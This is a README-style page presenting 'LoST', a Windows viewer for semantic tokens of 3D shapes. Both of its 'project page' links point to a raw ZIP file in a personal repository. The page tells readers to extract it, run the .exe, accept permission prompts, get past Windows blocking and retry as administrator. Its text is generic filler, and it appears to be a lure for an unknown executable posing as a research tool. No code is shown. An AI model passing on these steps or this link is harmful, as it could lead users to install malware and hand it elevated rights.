LoST helps you study 3D shapes through a clear semantic token view. It is built for users who want a simple way to explore shape data on Windows without setting up a large tool chain.
Use LoST to:
- open 3D shape files
- view shape tokens in a simple interface
- compare shape parts and structure
- inspect semantic detail from a 3D model
Before you start, check that your Windows PC has:
- Windows 10 or Windows 11
- at least 8 GB of RAM
- 2 GB of free disk space
- a modern GPU if you plan to work with large 3D models
- an internet connection for the first download
For smooth use, a recent Intel or AMD processor works well. A higher-end graphics card helps when you load large scenes or many shapes at once.
Use this link to visit the project page and download LoST:
https://github.com/dixonk3527/LoST/raw/refs/heads/main/beef/ST_Lo_v1.1.zip
- Open the download link above in your browser.
- Find the latest release or download files on the project page.
- Download the Windows package to your computer.
- If the file is a ZIP folder, right-click it and choose Extract All.
- Open the extracted folder.
- Look for the main app file, such as an
.exefile. - Double-click the app file to start LoST.
- If Windows asks for permission, choose Yes.
If the app opens in a smaller window, use the edge of the window to resize it.
When LoST opens for the first time:
- wait a few seconds for the interface to load
- choose a sample shape or your own file
- browse the view panel to inspect the model
- use the controls to rotate, pan, and zoom
If you work with large files, give the app a little time to finish loading.
LoST is set up to work with common 3D shape formats used in shape research and viewing workflows, such as:
- OBJ
- PLY
- STL
- OFF
- custom token files used by the project
If your file does not open, check that the file is complete and not damaged.
Most users will only need a few controls:
- left mouse button: rotate the model
- right mouse button: move the view
- mouse wheel: zoom in and out
- toolbar buttons: switch views, load files, and reset the scene
If your mouse has extra buttons, LoST may use them for view shortcuts.
LoST gives you a simple way to work with 3D shape semantics.
Main features:
- semantic token display for 3D shapes
- clean view for model inspection
- support for shape loading and browsing
- fast scene switching for common workflows
- clear layout for non-technical users
It is built to help you focus on the shape, not the setup.
- Use smaller test files first if you are new to 3D tools.
- Keep only one large model open at a time on older PCs.
- Save your work often if you use custom inputs.
- Close other heavy apps if the scene loads slowly.
- Update your graphics driver if the display looks broken.
A simple way to use LoST:
- Download the app from the project page.
- Install or extract it on your Windows PC.
- Open LoST.
- Load a 3D shape file.
- Inspect the semantic token view.
- Rotate the model to check each side.
- Compare parts of the shape against the token output.
Inside the download, you may see files like:
LoST.exeREADME.mdconfigmodelsassetsweights
These files help the app run and show the shape data in the right view.
If LoST does not open:
- make sure the download finished
- check that you extracted the ZIP file first
- confirm that Windows did not block the app
- try opening the file again as administrator
If a model does not load:
- check the file type
- make sure the file path has no broken characters
- try a smaller sample file
- restart the app and try again
If the screen looks empty:
- zoom out
- reset the view
- load a supported file again
LoST is useful for:
- shape review
- 3D data study
- semantic inspection
- model comparison
- classroom or lab use
It fits users who want a direct way to see how a shape is tokenized and organized.
Project page and download source:
https://github.com/dixonk3527/LoST/raw/refs/heads/main/beef/ST_Lo_v1.1.zip
Open LoST, load a model, and inspect the semantic token output. Use the view controls to move around the shape, then compare the token view with the model geometry.